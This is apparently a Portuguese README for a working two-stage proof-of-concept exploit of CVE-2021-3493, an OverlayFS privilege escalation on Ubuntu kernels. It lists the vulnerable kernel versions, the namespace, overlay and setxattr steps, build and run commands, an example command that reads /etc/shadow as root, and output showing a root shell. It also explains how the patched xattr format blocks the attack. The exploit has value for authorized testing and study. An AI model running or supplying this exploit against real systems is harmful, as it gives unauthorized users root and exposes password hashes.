
Prova de conceito em dois estágios para CVE-2021-3493, explorando OverlayFS do Ubuntu para escalar de usuário não privilegiado para root via manipulação de capabilities de arquivo em namespaces de usuário.
Uma prova de conceito funcional para CVE-2021-3493, uma vulnerabilidade de escalação de privilégio local na implementação do OverlayFS do kernel Ubuntu.
Um usuário sem privilégios pode montar um sistema de arquivos overlay dentro de um namespace de usuário e definir capacidades arbitrárias de arquivo via setxattr. O kernel não valida a origem do namespace dessas capacidades, então elas têm efeito no namespace de usuário init — permitindo que qualquer usuário local escale para root.
Esta vulnerabilidade é específica do Ubuntu. O Ubuntu inclui um patch (FS_USERNS_MOUNT) que permite montagens overlay sem privilégios — kernels upstream não incluem, então o Linux principal e outras distribuições geralmente não são afetados.
| Distribution | Kernel | Vulnerable (fixed in) |
|---|---|---|
| Ubuntu 20.10 | 5.8 | < 5.8.0-50 |
| Ubuntu 20.04 LTS | 5.4 | < 5.4.0-72 |
| Ubuntu 18.04 LTS | 4.15 | < 4.15.0-142 |
| Ubuntu 18.04 LTS (HWE) | 5.3 | < 5.3.0-73 |
| Ubuntu 16.04 LTS | 4.4 | < 4.4.0-209 |
| Ubuntu 14.04 ESM (HWE) | 4.4 | < 4.4.0-209 |
Fonte: USN-4916-1
Esta PoC usa um design em dois estágios:
| File | Role |
|---|---|
exploit.c | Estágio 1 — Cria um sistema de arquivos overlay dentro de um namespace de usuário, copia o payload do rootshell para ele e define o xattr security.capability com todas as capacidades (all+ep) |
Por que dois estágios? A PoC original inspiringz/CVE-2021-3493 faz o exploit exec um shell de dentro do namespace de usuário, então uid=0 é apenas um mapeamento do namespace — não root real. Esta PoC separa a configuração do overlay (processo filho no namespace de usuário) da execução do payload (processo pai no namespace init), garantindo escalação de privilégio genuína.
exploit (init ns, uid=1000)
│
├─ fork → child (user ns)
│ ├─ unshare(CLONE_NEWUSER | CLONE_NEWNS)
│ ├─ mount overlayfs
│ ├─ copy rootshell → overlay merge dir
│ ├─ setxattr("security.capability", all+ep) ← vulnerability trigger
│ └─ exit
│
└─ parent (init ns, uid=1000)
└─ execl("upper/rootshell")
├─ kernel loads file capabilities in init ns
│ CapPrm: 0000003fffffffff
│ CapEff: 0000003fffffffff
├─ setuid(0) → success
├─ setgid(0) → success
└─ exec /bin/bash → real root shell
/dev/shm → /tmp: A original usa /dev/shm, que é montado com nosuid, fazendo o kernel ignorar silenciosamente as capacidades de arquivo no exec. Esta PoC usa /tmp (normalmente em ext4 sem nosuid).
Payload em dois estágios: A original copia a si mesma (/proc/self/exe) como o binário com capacidades, mas, como o exploit chama unshare, reexecutá-lo apenas reentra em um namespace de usuário. Esta PoC usa um binário rootshell separado que consome diretamente as capacidades.
| OS | Ubuntu 20.04.1 LTS (Focal Fossa) |
| Kernel | 5.4.0-65-generic (vulnerável) / 5.4.0-216-generic (corrigido) |
| Config | Instalação padrão do Ubuntu Server — sem mitigações desabilitadas |
O host de teste usa um kernel Ubuntu 20.04 padrão com todos os recursos de segurança padrão intactos:
CONFIG_USER_NS=y + kernel.unprivileged_userns_clone=1 (padrão — permite namespaces de usuário sem privilégios)CONFIG_OVERLAY_FS=m (padrão — OverlayFS disponível como módulo)BOOT_IMAGE=... root=... ro)Nenhum recurso de segurança precisa ser desabilitado — o exploit funciona de fábrica no Ubuntu 20.04 padrão com um kernel vulnerável.
⚠️ AVISO: Execute apenas em sistemas que você possui ou para os quais está explicitamente autorizado a testar. Este exploit concede acesso root real.
make
./exploit
O comportamento padrão abre um shell root interativo. Você também pode executar um único comando:
./exploit "id && cat /etc/shadow"
============================================
CVE-2021-3493 OverlayFS Privilege Escalation
Kernel: 5.4.0-65-generic
User: uid=1000(user) gid=1000(user)
============================================
[1] Setting up overlay filesystem in user namespace...
[2] File capabilities set on /tmp/.ovlcap/upper/rootshell
[3] Executing rootshell from init namespace...
[*] Before privilege escalation:
uid=1000(user) gid=1000(user)
[*] Process capabilities:
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
[+] After setuid(0) + setgid(0):
uid=0(root) gid=0(root)
root@host:~#
make clean
Kernels corrigidos (ex.: >= 5.4.0-70 no Ubuntu 20.04) atualizam o formato do xattr de capacidade de v2 para v3 quando definido por meio de um overlay em um namespace de usuário. O formato v3 inclui um campo rootid que registra o UID real de quem definiu o xattr no namespace init. No exec, o kernel verifica rootid — se não for 0, as capacidades são rejeitadas:
# Vulnerable kernel (5.4.0-65) — v2 format, no rootid
security.capability = 0x01000002 ffffffff00000000 ffffffff00000000
# Patched kernel (5.4.0-70+) — v3 format, rootid=1000
security.capability = 0x01000003 ffffffff00000000 ffffffff00000000 e8030000
^^ ^^^^^^^^
v3 rootid=1000
Este código é fornecido apenas para pesquisa de segurança e testes autorizados. Use-o somente em sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar. Os autores não assumem responsabilidade por uso indevido.
rootshell.c | Estágio 2 — Um payload limpo que aproveita as capacidades de arquivo para chamar setuid(0) e abrir um shell root real |